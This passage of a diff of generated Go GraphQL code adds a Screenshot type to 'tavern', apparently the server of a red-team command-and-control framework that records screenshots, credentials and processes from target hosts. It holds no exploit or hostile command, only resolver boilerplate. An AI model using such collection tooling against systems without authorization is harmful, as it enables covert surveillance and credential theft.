ec._RepositoryConnection_totalCount(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var repositoryEdgeImplementors = []string{"RepositoryEdge"} + +func (ec *executionContext) _RepositoryEdge(ctx context.Context, sel ast.SelectionSet, obj *ent.RepositoryEdge) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, repositoryEdgeImplementors) + + out := graphql.NewFieldSet(fields) + deferred := make(map[string]*graphql.FieldSet) + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("RepositoryEdge") + case "node": + out.Values[i] = ec._RepositoryEdge_node(ctx, field, obj) + case "cursor": + out.Values[i] = ec._RepositoryEdge_cursor(ctx, field, obj) + if out.Values[i] == graphql.Null { + out.Invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch(ctx) + if out.Invalids > 0 { + return graphql.Null + } + + atomic.AddInt32(&ec.deferred, int32(len(deferred))) + + for label, dfs := range deferred { + ec.processDeferredGroup(graphql.DeferredGroup{ + Label: label, + Path: graphql.GetPath(ctx), + FieldSet: dfs, + Context: ctx, + }) + } + + return out +} + +var screenshotImplementors = []string{"Screenshot", "Node"} -func (ec *executionContext) _Repository(ctx context.Context, sel ast.SelectionSet, obj *ent.Repository) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, repositoryImplementors) +func (ec *executionContext) _Screenshot(ctx context.Context, sel ast.SelectionSet, obj *ent.Screenshot) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, screenshotImplementors) out := graphql.NewFieldSet(fields) deferred := make(map[string]*graphql.FieldSet) for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("Repository") + out.Values[i] = graphql.MarshalString("Screenshot") case "id": - out.Values[i] = ec._Repository_id(ctx, field, obj) + out.Values[i] = ec._Screenshot_id(ctx, field, obj) if out.Values[i] == graphql.Null { atomic.AddUint32(&out.Invalids, 1) } case "createdAt": - out.Values[i] = ec._Repository_createdAt(ctx, field, obj) + out.Values[i] = ec._Screenshot_createdAt(ctx, field, obj) if out.Values[i] == graphql.Null { atomic.AddUint32(&out.Invalids, 1) } case "lastModifiedAt": - out.Values[i] = ec._Repository_lastModifiedAt(ctx, field, obj) + out.Values[i] = ec._Screenshot_lastModifiedAt(ctx, field, obj) if out.Values[i] == graphql.Null { atomic.AddUint32(&out.Invalids, 1) } - case "url": - out.Values[i] = ec._Repository_url(ctx, field, obj) + case "name": + out.Values[i] = ec._Screenshot_name(ctx, field, obj) if out.Values[i] == graphql.Null { atomic.AddUint32(&out.Invalids, 1) } - case "publicKey": - out.Values[i] = ec._Repository_publicKey(ctx, field, obj) + case "size": + out.Values[i] = ec._Screenshot_size(ctx, field, obj) if out.Values[i] == graphql.Null { atomic.AddUint32(&out.Invalids, 1) } - case "lastImportedAt": - out.Values[i] = ec._Repository_lastImportedAt(ctx, field, obj) - case "tomes": + case "hash": + out.Values[i] = ec._Screenshot_hash(ctx, field, obj) + case "host": field := field innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) { @@ -30278,7 +31937,7 @@ func (ec *executionContext) _Repository(ctx context.Context, sel ast.SelectionSe ec.Error(ctx, ec.Recover(ctx, r)) } }() - res = ec._Repository_tomes(ctx, field, obj) + res = ec._Screenshot_host(ctx, field, obj) if res == graphql.Null { atomic.AddUint32(&fs.Invalids, 1) } @@ -30305,7 +31964,7 @@ func (ec *executionContext) _Repository(ctx context.Context, sel ast.SelectionSe } out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) - case "owner": + case "task": field := field innerFunc := func(ctx context.Context, _ *graphql.FieldSet) (res graphql.Marshaler) { @@ -30314,7 +31973,40 @@ func (ec *executionContext) _Repository(ctx context.Context, sel ast.SelectionSe ec.Error(ctx, ec.Recover(ctx, r)) } }() - res = ec._Repository_owner(ctx, field, obj) + res = ec._Screenshot_task(ctx, field, obj) + return res + } + + if field.Deferrable != nil { + dfs, ok := deferred[field.Deferrable.Label] + di := 0 + if ok { + dfs.AddField(field) + di = len(dfs.Values) - 1 + } else { + dfs = graphql.NewFieldSet([]graphql.CollectedField{field}) + deferred[field.Deferrable.Label] = dfs + } + dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler { + return innerFunc(ctx, dfs) + }) + + // don't run the out.Concurrently() call below + out.Values[i] = graphql.Null + continue + } + + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + case "shellTask": + field := field + + innerFunc := func(ctx context.Context, _ *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Screenshot_shellTask(ctx, field, obj) return res } @@ -30361,26 +32053,26 @@ func (ec *executionContext) _Repository(ctx context.Context, sel ast.SelectionSe return out } -var repositoryConnectionImplementors = []string{"RepositoryConnection"} +var screenshotConnectionImplementors = []string{"ScreenshotConnection"} -func (ec *executionContext) _RepositoryConnection(ctx context.Context, sel ast.SelectionSet, obj *ent.RepositoryConnection) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, repositoryConnectionImplementors) +func (ec *executionContext) _ScreenshotConnection(ctx context.Context, sel ast.SelectionSet, obj *ent.ScreenshotConnection) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, screenshotConnectionImplementors) out := graphql.NewFieldSet(fields) deferred := make(map[string]*graphql.FieldSet) for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("RepositoryConnection") + out.Values[i] = graphql.MarshalString("ScreenshotConnection") case "edges": - out.Values[i] = ec._RepositoryConnection_edges(ctx, field, obj) + out.Values[i] = ec._ScreenshotConnection_edges(ctx, field, obj) case "pageInfo": - out.Values[i] = ec._RepositoryConnection_pageInfo(ctx, field, obj) + out.Values[i] = ec._ScreenshotConnection_pageInfo(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } case "totalCount": - out.Values[i] = ec._RepositoryConnection_totalCount(ctx, field, obj) + out.Values[i] = ec._ScreenshotConnection_totalCount(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } @@ -30407,21 +32099,21 @@ func (ec *executionContext) _RepositoryConnection(ctx context.Context, sel ast.S return out } -var repositoryEdgeImplementors = []string{"RepositoryEdge"} +var screenshotEdgeImplementors = []string{"ScreenshotEdge"} -func (ec *executionContext) _RepositoryEdge(ctx context.Context, sel ast.SelectionSet, obj *ent.RepositoryEdge) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, repositoryEdgeImplementors) +func (ec *executionContext) _ScreenshotEdge(ctx context.Context, sel ast.SelectionSet, obj *ent.ScreenshotEdge) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, screenshotEdgeImplementors) out := graphql.NewFieldSet(fields) deferred := make(map[string]*graphql.FieldSet) for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("RepositoryEdge") + out.Values[i] = graphql.MarshalString("ScreenshotEdge") case "node": - out.Values[i] = ec._RepositoryEdge_node(ctx, field, obj) + out.Values[i] = ec._ScreenshotEdge_node(ctx, field, obj) case "cursor": - out.Values[i] = ec._RepositoryEdge_cursor(ctx, field, obj) + out.Values[i] = ec._ScreenshotEdge_cursor(ctx, field, obj) if out.Values[i] == graphql.Null { out.Invalids++ } @@ -31048,6 +32740,39 @@ func (ec *executionContext) _ShellTask(ctx context.Context, sel ast.SelectionSet continue } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + case "screenshots": + field := field + + innerFunc := func(ctx context.Context, _ *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._ShellTask_screenshots(ctx, field, obj) + return res + } + + if field.Deferrable != nil { + dfs, ok := deferred[field.Deferrable.Label] + di := 0 + if ok { + dfs.AddField(field) + di = len(dfs.Values) - 1 + } else { + dfs = graphql.NewFieldSet([]graphql.CollectedField{field}) + deferred[field.Deferrable.Label] = dfs + } + dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler { + return innerFunc(ctx, dfs) + }) + + // don't run the out.Concurrently() call below + out.Values[i] = graphql.Null + continue + } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) default: panic("unknown field " + strconv.Quote(field.Name)) @@ -31587,6 +33312,42 @@ func (ec *executionContext) _Task(ctx context.Context, sel ast.SelectionSet, obj continue } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) + case "screenshots": + field := field + + innerFunc := func(ctx context.Context, fs *graphql.FieldSet) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Task_screenshots(ctx, field, obj) + if res == graphql.Null { + atomic.AddUint32(&fs.Invalids, 1) + } + return res + } + + if field.Deferrable != nil { + dfs, ok := deferred[field.Deferrable.Label] + di := 0 + if ok { + dfs.AddField(field) + di = len(dfs.Values) - 1 + } else { + dfs = graphql.NewFieldSet([]graphql.CollectedField{field}) + deferred[field.Deferrable.Label] = dfs + } + dfs.Concurrently(di, func(ctx context.Context) graphql.Marshaler { + return innerFunc(ctx, dfs) + }) + + // don't run the out.Concurrently() call below + out.Values[i] = graphql.Null + continue + } + out.Concurrently(i, func(ctx context.Context) graphql.Marshaler { return innerFunc(ctx, out) }) default: panic("unknown field " + strconv.Quote(field.Name)) @@ -33060,6 +34821,52 @@ func (ec *executionContext) unmarshalNRepositoryWhereInput2ᚖrealmᚗpubᚋtave return &res, graphql.ErrorOnPath(ctx, err) } +func (ec *executionContext) marshalNScreenshot2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshot(ctx context.Context, sel ast.SelectionSet, v *ent.Screenshot) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + graphql.AddErrorf(ctx, "the requested element is null which the schema does not allow") + } + return graphql.Null + } + return ec._Screenshot(ctx, sel, v) +} + +func (ec *executionContext) marshalNScreenshotConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotConnection(ctx context.Context, sel ast.SelectionSet, v *ent.ScreenshotConnection) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + graphql.AddErrorf(ctx, "the requested element is null which the schema does not allow") + } + return graphql.Null + } + return ec._ScreenshotConnection(ctx, sel, v) +} + +func (ec *executionContext) unmarshalNScreenshotOrder2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrder(ctx context.Context, v any) (*ent.ScreenshotOrder, error) { + res, err := ec.unmarshalInputScreenshotOrder(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) unmarshalNScreenshotOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrderField(ctx context.Context, v any) (*ent.ScreenshotOrderField, error) { + var res = new(ent.ScreenshotOrderField) + err := res.UnmarshalGQL(v) + return res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) marshalNScreenshotOrderField2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrderField(ctx context.Context, sel ast.SelectionSet, v *ent.ScreenshotOrderField) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + graphql.AddErrorf(ctx, "the requested element is null which the schema does not allow") + } + return graphql.Null + } + return v +} + +func (ec *executionContext) unmarshalNScreenshotWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInput(ctx context.Context, v any) (*ent.ScreenshotWhereInput, error) { + res, err := ec.unmarshalInputScreenshotWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + func (ec *executionContext) marshalNShell2realmᚗpubᚋtavernᚋinternalᚋentᚐShell(ctx context.Context, sel ast.SelectionSet, v ent.Shell) graphql.Marshaler { return ec._Shell(ctx, sel, &v) } @@ -35216,6 +37023,152 @@ func (ec *executionContext) unmarshalORepositoryWhereInput2ᚖrealmᚗpubᚋtave return &res, graphql.ErrorOnPath(ctx, err) } +func (ec *executionContext) marshalOScreenshot2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotᚄ(ctx context.Context, sel ast.SelectionSet, v []*ent.Screenshot) graphql.Marshaler { + if v == nil { + return graphql.Null + } + ret := make(graphql.Array, len(v)) + var wg sync.WaitGroup + isLen1 := len(v) == 1 + if !isLen1 { + wg.Add(len(v)) + } + for i := range v { + i := i + fc := &graphql.FieldContext{ + Index: &i, + Result: &v[i], + } + ctx := graphql.WithFieldContext(ctx, fc) + f := func(i int) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = nil + } + }() + if !isLen1 { + defer wg.Done() + } + ret[i] = ec.marshalNScreenshot2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshot(ctx, sel, v[i]) + } + if isLen1 { + f(i) + } else { + go f(i) + } + + } + wg.Wait() + + for _, e := range ret { + if e == graphql.Null { + return graphql.Null + } + } + + return ret +} + +func (ec *executionContext) marshalOScreenshot2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshot(ctx context.Context, sel ast.SelectionSet, v *ent.Screenshot) graphql.Marshaler { + if v == nil { + return graphql.Null + } + return ec._Screenshot(ctx, sel, v) +} + +func (ec *executionContext) marshalOScreenshotEdge2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotEdge(ctx context.Context, sel ast.SelectionSet, v []*ent.ScreenshotEdge) graphql.Marshaler { + if v == nil { + return graphql.Null + } + ret := make(graphql.Array, len(v)) + var wg sync.WaitGroup + isLen1 := len(v) == 1 + if !isLen1 { + wg.Add(len(v)) + } + for i := range v { + i := i + fc := &graphql.FieldContext{ + Index: &i, + Result: &v[i], + } + ctx := graphql.WithFieldContext(ctx, fc) + f := func(i int) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = nil + } + }() + if !isLen1 { + defer wg.Done() + } + ret[i] = ec.marshalOScreenshotEdge2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotEdge(ctx, sel, v[i]) + } + if isLen1 { + f(i) + } else { + go f(i) + } + + } + wg.Wait() + + return ret +} + +func (ec *executionContext) marshalOScreenshotEdge2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotEdge(ctx context.Context, sel ast.SelectionSet, v *ent.ScreenshotEdge) graphql.Marshaler { + if v == nil { + return graphql.Null + } + return ec._ScreenshotEdge(ctx, sel, v) +} + +func (ec *executionContext) unmarshalOScreenshotOrder2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrderᚄ(ctx context.Context, v any) ([]*ent.ScreenshotOrder, error) { + if v == nil { + return nil, nil + } + var vSlice []any + vSlice = graphql.CoerceList(v) + var err error + res := make([]*ent.ScreenshotOrder, len(vSlice)) + for i := range vSlice { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i)) + res[i], err = ec.unmarshalNScreenshotOrder2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotOrder(ctx, vSlice[i]) + if err != nil { + return nil, err + } + } + return res, nil +} + +func (ec *executionContext) unmarshalOScreenshotWhereInput2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInputᚄ(ctx context.Context, v any) ([]*ent.ScreenshotWhereInput, error) { + if v == nil { + return nil, nil + } + var vSlice []any + vSlice = graphql.CoerceList(v) + var err error + res := make([]*ent.ScreenshotWhereInput, len(vSlice)) + for i := range vSlice { + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithIndex(i)) + res[i], err = ec.unmarshalNScreenshotWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInput(ctx, vSlice[i]) + if err != nil { + return nil, err + } + } + return res, nil +} + +func (ec *executionContext) unmarshalOScreenshotWhereInput2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotWhereInput(ctx context.Context, v any) (*ent.ScreenshotWhereInput, error) { + if v == nil { + return nil, nil + } + res, err := ec.unmarshalInputScreenshotWhereInput(ctx, v) + return &res, graphql.ErrorOnPath(ctx, err) +} + func (ec *executionContext) marshalOShell2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShell(ctx context.Context, sel ast.SelectionSet, v *ent.Shell) graphql.Marshaler { if v == nil { return graphql.Null diff --git a/tavern/internal/graphql/generated/mutation.generated.go b/tavern/internal/graphql/generated/mutation.generated.go index 9cc9a8b83..c62194b2b 100644 --- a/tavern/internal/graphql/generated/mutation.generated.go +++ b/tavern/internal/graphql/generated/mutation.generated.go @@ -674,6 +674,8 @@ func (ec *executionContext) fieldContext_Mutation_updateHost(ctx context.Context return ec.fieldContext_Host_processes(ctx, field) case "credentials": return ec.fieldContext_Host_credentials(ctx, field) + case "screenshots": + return ec.fieldContext_Host_screenshots(ctx, field) } return nil, fmt.Errorf("no field named %q was found under type Host", field.Name) }, diff --git a/tavern/internal/graphql/generated/root_.generated.go b/tavern/internal/graphql/generated/root_.generated.go index 0f832c62f..845f8481b 100644 --- a/tavern/internal/graphql/generated/root_.generated.go +++ b/tavern/internal/graphql/generated/root_.generated.go @@ -174,6 +174,7 @@ type ComplexityRoot struct { Platform func(childComplexity int) int PrimaryIP func(childComplexity int) int Processes func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.HostProcessOrder, where *ent.HostProcessWhereInput) int + Screenshots func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.ScreenshotOrder, where *ent.ScreenshotWhereInput) int Tags func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.TagOrder, where *ent.TagWhereInput) int } @@ -414,6 +415,29 @@ type ComplexityRoot struct { Node func(childComplexity int) int } + Screenshot struct { + CreatedAt func(childComplexity int) int + Hash func(childComplexity int) int + Host func(childComplexity int) int + ID func(childComplexity int) int + LastModifiedAt func(childComplexity int) int + Name func(childComplexity int) int + ShellTask func(childComplexity int) int + Size func(childComplexity int) int + Task func(childComplexity int) int + } + + ScreenshotConnection struct { + Edges func(childComplexity int) int + PageInfo func(childComplexity int) int + TotalCount func(childComplexity int) int + } + + ScreenshotEdge struct { + Cursor func(childComplexity int) int + Node func(childComplexity int) int + } + Shell struct { ActiveUsers func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.UserOrder, where *ent.UserWhereInput) int Beacon func(childComplexity int) int @@ -452,6 +476,7 @@ type ComplexityRoot struct { ReportedCredentials func(childComplexity int) int ReportedFiles func(childComplexity int) int ReportedProcesses func(childComplexity int) int + Screenshots func(childComplexity int) int SequenceID func(childComplexity int) int Shell func(childComplexity int) int StreamID func(childComplexity int) int @@ -501,6 +526,7 @@ type ComplexityRoot struct { ReportedCredentials func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.HostCredentialOrder, where *ent.HostCredentialWhereInput) int ReportedFiles func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.HostFileOrder, where *ent.HostFileWhereInput) int ReportedProcesses func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.HostProcessOrder, where *ent.HostProcessWhereInput) int + Screenshots func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.ScreenshotOrder, where *ent.ScreenshotWhereInput) int Shells func(childComplexity int, after *entgql.Cursor[int], first *int, before *entgql.Cursor[int], last *int, orderBy []*ent.ShellOrder, where *ent.ShellWhereInput) int } @@ -1248,6 +1274,18 @@ func (e *executableSchema) Complexity(ctx context.Context, typeName, field strin return e.complexity.Host.Processes(childComplexity, args["after"].(*entgql.Cursor[int]), args["first"].(*int), args["before"].(*entgql.Cursor[int]), args["last"].(*int), args["orderBy"].([]*ent.HostProcessOrder), args["where"].(*ent.HostProcessWhereInput)), true + case "Host.screenshots": + if e.complexity.Host.Screenshots == nil { + break + } + + args, err := ec.field_Host_screenshots_args(ctx, rawArgs) + if err != nil { + return 0, false + } + + return e.complexity.Host.Screenshots(childComplexity, args["after"].(*entgql.Cursor[int]), args["first"].(*int), args["before"].(*entgql.Cursor[int]), args["last"].(*int), args["orderBy"].([]*ent.ScreenshotOrder), args["where"].(*ent.ScreenshotWhereInput)), true + case "Host.tags": if e.complexity.Host.Tags == nil { break @@ -2537,6 +2575,104 @@ func (e *executableSchema) Complexity(ctx context.Context, typeName, field strin return e.complexity.RepositoryEdge.Node(childComplexity), true + case "Screenshot.createdAt": + if e.complexity.Screenshot.CreatedAt == nil { + break + } + + return e.complexity.Screenshot.CreatedAt(childComplexity), true + + case "Screenshot.hash": + if e.complexity.Screenshot.Hash == nil { + break + } + + return e.complexity.Screenshot.Hash(childComplexity), true + + case "Screenshot.host": + if e.complexity.Screenshot.Host == nil { + break + } + + return e.complexity.Screenshot.Host(childComplexity), true + + case "Screenshot.id": + if e.complexity.Screenshot.ID == nil { + break + } + + return e.complexity.Screenshot.ID(childComplexity), true + + case "Screenshot.lastModifiedAt": + if e.complexity.Screenshot.LastModifiedAt == nil { + break + } + + return e.complexity.Screenshot.LastModifiedAt(childComplexity), true + + case "Screenshot.name": + if e.complexity.Screenshot.Name == nil { + break + } + + return e.complexity.Screenshot.Name(childComplexity), true + + case "Screenshot.shellTask": + if e.complexity.Screenshot.ShellTask == nil { + break + } + + return e.complexity.Screenshot.ShellTask(childComplexity), true + + case "Screenshot.size": + if e.complexity.Screenshot.Size == nil { + break + } + + return e.complexity.Screenshot.Size(childComplexity), true + + case "Screenshot.task": + if e.complexity.Screenshot.Task == nil { + break + } + + return e.complexity.Screenshot.Task(childComplexity), true + + case "ScreenshotConnection.edges": + if e.complexity.ScreenshotConnection.Edges == nil { + break + } + + return e.complexity.ScreenshotConnection.Edges(childComplexity), true + + case "ScreenshotConnection.pageInfo": + if e.complexity.ScreenshotConnection.PageInfo == nil { + break + } + + return e.complexity.ScreenshotConnection.PageInfo(childComplexity), true + + case "ScreenshotConnection.totalCount": + if e.complexity.ScreenshotConnection.TotalCount == nil { + break + } + + return e.complexity.ScreenshotConnection.TotalCount(childComplexity), true + + case "ScreenshotEdge.cursor": + if e.complexity.ScreenshotEdge.Cursor == nil { + break + } + + return e.complexity.ScreenshotEdge.Cursor(childComplexity), true + + case "ScreenshotEdge.node": + if e.complexity.ScreenshotEdge.Node == nil { + break + } + + return e.complexity.ScreenshotEdge.Node(childComplexity), true + case "Shell.activeUsers": if e.complexity.Shell.ActiveUsers == nil { break @@ -2743,6 +2879,13 @@ func (e *executableSchema) Complexity(ctx context.Context, typeName, field strin return e.complexity.ShellTask.ReportedProcesses(childComplexity), true + case "ShellTask.screenshots": + if e.complexity.ShellTask.Screenshots == nil { + break + } + + return e.complexity.ShellTask.Screenshots(childComplexity), true + case "ShellTask.sequenceID": if e.complexity.ShellTask.SequenceID == nil { break @@ -2980,6 +3123,18 @@ func (e *executableSchema) Complexity(ctx context.Context, typeName, field strin return e.complexity.Task.ReportedProcesses(childComplexity, args["after"].(*entgql.Cursor[int]), args["first"].(*int), args["before"].(*entgql.Cursor[int]), args["last"].(*int), args["orderBy"].([]*ent.HostProcessOrder), args["where"].(*ent.HostProcessWhereInput)), true + case "Task.screenshots": + if e.complexity.Task.Screenshots == nil { + break + } + + args, err := ec.field_Task_screenshots_args(ctx, rawArgs) + if err != nil { + return 0, false + } + + return e.complexity.Task.Screenshots(childComplexity, args["after"].(*entgql.Cursor[int]), args["first"].(*int), args["before"].(*entgql.Cursor[int]), args["last"].(*int), args["orderBy"].([]*ent.ScreenshotOrder), args["where"].(*ent.ScreenshotWhereInput)), true + case "Task.shells": if e.complexity.Task.Shells == nil { break @@ -3329,6 +3484,8 @@ func (e *executableSchema) Exec(ctx context.Context) graphql.ResponseHandler { ec.unmarshalInputQuestWhereInput, ec.unmarshalInputRepositoryOrder, ec.unmarshalInputRepositoryWhereInput, + ec.unmarshalInputScreenshotOrder, + ec.unmarshalInputScreenshotWhereInput, ec.unmarshalInputShellOrder, ec.unmarshalInputShellTaskOrder, ec.unmarshalInputShellTaskWhereInput, @@ -4955,6 +5112,37 @@ type Host implements Node { """ where: HostCredentialWhereInput ): HostCredentialConnection! + screenshots( + """ + Returns the elements in the list that come after the specified cursor. + """ + after: Cursor + + """ + Returns the first _n_ elements from the list. + """ + first: Int + + """ + Returns the elements in the list that come before the specified cursor. + """ + before: Cursor + + """ + Returns the last _n_ elements from the list. + """ + last: Int + + """ + Ordering options for Screenshots returned from the connection. + """ + orderBy: [ScreenshotOrder!] + + """ + Filtering options for Screenshots returned from the connection. + """ + where: ScreenshotWhereInput + ): ScreenshotConnection! } """ A connection to a list of items. @@ -5954,6 +6142,11 @@ input HostWhereInput { """ hasCredentials: Boolean hasCredentialsWith: [HostCredentialWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: [ScreenshotWhereInput!] } type Link implements Node { id: ID! @@ -6211,7 +6404,7 @@ type Portal implements Node { """ task: Task """ - ShellTask that created the portal + ShellTask that created the portal (if applicable) """ shellTask: ShellTask """ @@ -6864,6 +7057,195 @@ input RepositoryWhereInput { hasOwner: Boolean hasOwnerWith: [UserWhereInput!] } +type Screenshot implements Node { + id: ID! + """ + Timestamp of when this ent was created + """ + createdAt: Time! + """ + Timestamp of when this ent was last updated + """ + lastModifiedAt: Time! + """ + Name of the screenshot file (e.g. screenshot___.png). + """ + name: String! + """ + The size of the screenshot in bytes + """ + size: Uint64! + """ + A SHA3-256 digest of the content field + """ + hash: String + """ + Host the screenshot was taken on. + """ + host: Host! + """ + Task that reported this screenshot. + """ + task: Task + """ + Shell Task that reported this screenshot. + """ + shellTask: ShellTask +} +""" +A connection to a list of items. +""" +type ScreenshotConnection { + """ + A list of edges. + """ + edges: [ScreenshotEdge] + """ + Information to aid in pagination. + """ + pageInfo: PageInfo! + """ + Identifies the total count of items in the connection. + """ + totalCount: Int! +} +""" +An edge in a connection. +""" +type ScreenshotEdge { + """ + The item at the end of the edge. + """ + node: Screenshot + """ + A cursor for use in pagination. + """ + cursor: Cursor! +} +""" +Ordering options for Screenshot connections +""" +input ScreenshotOrder { + """ + The ordering direction. + """ + direction: OrderDirection! = ASC + """ + The field by which to order Screenshots. + """ + field: ScreenshotOrderField! +} +""" +Properties by which Screenshot connections can be ordered. +""" +enum ScreenshotOrderField { + CREATED_AT + LAST_MODIFIED_AT + NAME + SIZE +} +""" +ScreenshotWhereInput is used for filtering Screenshot objects. +Input was generated by ent. +""" +input ScreenshotWhereInput { + not: ScreenshotWhereInput + and: [ScreenshotWhereInput!] + or: [ScreenshotWhereInput!] + """ + id field predicates + """ + id: ID + idNEQ: ID + idIn: [ID!] + idNotIn: [ID!] + idGT: ID + idGTE: ID + idLT: ID + idLTE: ID + """ + created_at field predicates + """ + createdAt: Time + createdAtNEQ: Time + createdAtIn: [Time!] + createdAtNotIn: [Time!] + createdAtGT: Time + createdAtGTE: Time + createdAtLT: Time + createdAtLTE: Time + """ + last_modified_at field predicates + """ + lastModifiedAt: Time + lastModifiedAtNEQ: Time + lastModifiedAtIn: [Time!] + lastModifiedAtNotIn: [Time!] + lastModifiedAtGT: Time + lastModifiedAtGTE: Time + lastModifiedAtLT: Time + lastModifiedAtLTE: Time + """ + name field predicates + """ + name: String + nameNEQ: String + nameIn: [String!] + nameNotIn: [String!] + nameGT: String + nameGTE: String + nameLT: String + nameLTE: String + nameContains: String + nameHasPrefix: String + nameHasSuffix: String + nameEqualFold: String + nameContainsFold: String + """ + size field predicates + """ + size: Uint64 + sizeNEQ: Uint64 + sizeIn: [Uint64!] + sizeNotIn: [Uint64!] + sizeGT: Uint64 + sizeGTE: Uint64 + sizeLT: Uint64 + sizeLTE: Uint64 + """ + hash field predicates + """ + hash: String + hashNEQ: String + hashIn: [String!] + hashNotIn: [String!] + hashGT: String + hashGTE: String + hashLT: String + hashLTE: String + hashContains: String + hashHasPrefix: String + hashHasSuffix: String + hashIsNil: Boolean + hashNotNil: Boolean + hashEqualFold: String + hashContainsFold: String + """ + host edge predicates + """ + hasHost: Boolean + hasHostWith: [HostWhereInput!] + """ + task edge predicates + """ + hasTask: Boolean + hasTaskWith: [TaskWhereInput!] + """ + shell_task edge predicates + """ + hasShellTask: Boolean + hasShellTaskWith: [ShellTaskWhereInput!] +} type Shell implements Node { id: ID! """ @@ -7070,6 +7452,10 @@ type ShellTask implements Node { Processes reported by this shell task """ reportedProcesses: [HostProcess!] + """ + Screenshots reported by this shell task + """ + screenshots: [Screenshot!] } """ A connection to a list of items. @@ -7308,6 +7694,11 @@ input ShellTaskWhereInput { """ hasReportedProcesses: Boolean hasReportedProcessesWith: [HostProcessWhereInput!] + """ + screenshots edge predicates + """ + hasScreenshots: Boolean + hasScreenshotsWith: 